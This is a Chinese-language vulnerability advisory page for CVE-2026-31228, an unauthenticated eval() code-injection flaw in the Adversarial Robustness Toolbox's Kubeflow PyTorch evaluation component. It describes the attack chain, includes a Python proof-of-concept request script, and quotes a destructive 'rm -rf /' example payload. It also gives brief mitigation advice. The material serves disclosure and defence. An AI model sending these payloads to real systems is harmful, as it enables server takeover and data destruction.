IPBUF安全漏洞报告
English
CVE-2026-31228 CVSS 9.8 严重

CVE-2026-31228 ART远程代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31228
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Adversarial Robustness Toolbox (ART)

相关标签

RCE远程代码执行Adversarial Robustness ToolboxARTKubeflowPyTorchCode InjectionCVSSv3.1

漏洞概述

Adversarial Robustness Toolbox (ART) 版本 1.20.1 及之前存在严重远程代码执行漏洞。问题出在 Kubeflow 组件的 PyTorch 模型鲁棒性评估函数中。该函数利用不安全的 eval() 直接解析用户输入的 LossFn 和 Optimizer 参数,缺乏必要的消毒机制。攻击者可构造恶意 Python 代码字符串,利用 eval() 执行任意代码,导致服务器被完全控制。

技术细节

该漏洞的根源在于 ART 库对 PyTorch 模型进行鲁棒性评估时,未能对用户输入进行严格的校验和过滤。具体而言,相关代码直接调用了 Python 内置的 eval() 函数来动态解析和处理 LossFn(损失函数)和 Optimizer(优化器)参数。由于 eval() 函数会将传入的字符串直接当作 Python 代码执行,且攻击者可以通过 Kubeflow 组件的网络接口完全控制这些参数内容。因此,攻击者只需构造包含恶意 Python 命令的字符串(例如 `__import__('os').system('rm -rf /')`),并在请求中发送,服务器端便会立即执行该代码。鉴于此漏洞无需身份验证且无需用户交互,极易被自动化攻击利用,导致攻击者获取服务器最高权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行着易受攻击的 ART Kubeflow 组件,并确认其版本低于或等于 1.20.1。
STEP 2
武器化
攻击者构造包含恶意 Python 代码的字符串,旨在通过 eval() 函数执行系统命令(如反弹 Shell 或写入 Webshell)。
STEP 3
交付
攻击者向 Kubeflow 组件的鲁棒性评估接口发送特制的 HTTP POST 请求,将恶意代码注入到 LossFn 或 Optimizer 参数中。
STEP 4
利用
服务器端接收请求后,调用 eval() 函数解析用户输入的参数字符串。由于缺乏过滤,恶意 Python 代码被立即执行。
STEP 5
控制
攻击者成功在服务器上执行任意代码,获取系统控制权,可能导致数据窃取、服务中断或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC for CVE-2026-31228 # Vulnerability: Unsafe usage of eval() in ART PyTorch evaluation import requests def exploit(target_url): # Malicious payload to execute arbitrary Python code # Example: creating a file or establishing a reverse shell payload = "__import__('os').system('touch /tmp/poc_success')" # The vulnerable endpoint expects parameters for the robustness evaluation # 'LossFn' is the parameter that is passed to eval() data = { "model_name": "resnet50", "LossFn": payload, "Optimizer": "Adam" } try: response = requests.post(target_url, json=data, timeout=5) if response.status_code == 200: print(f"[+] Payload sent to {target_url}") print("[+] Check if /tmp/poc_success exists on the target server.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL url = "http://vulnerable-art-service/api/v1/evaluate" exploit(url)

影响范围

Adversarial Robustness Toolbox (ART) <= 1.20.1

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面隔离受影响的 Kubeflow 服务,并禁用或限制 ART 的鲁棒性评估功能。同时,应密切监控系统日志中是否存在异常的 Python 进程调用或文件系统变动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表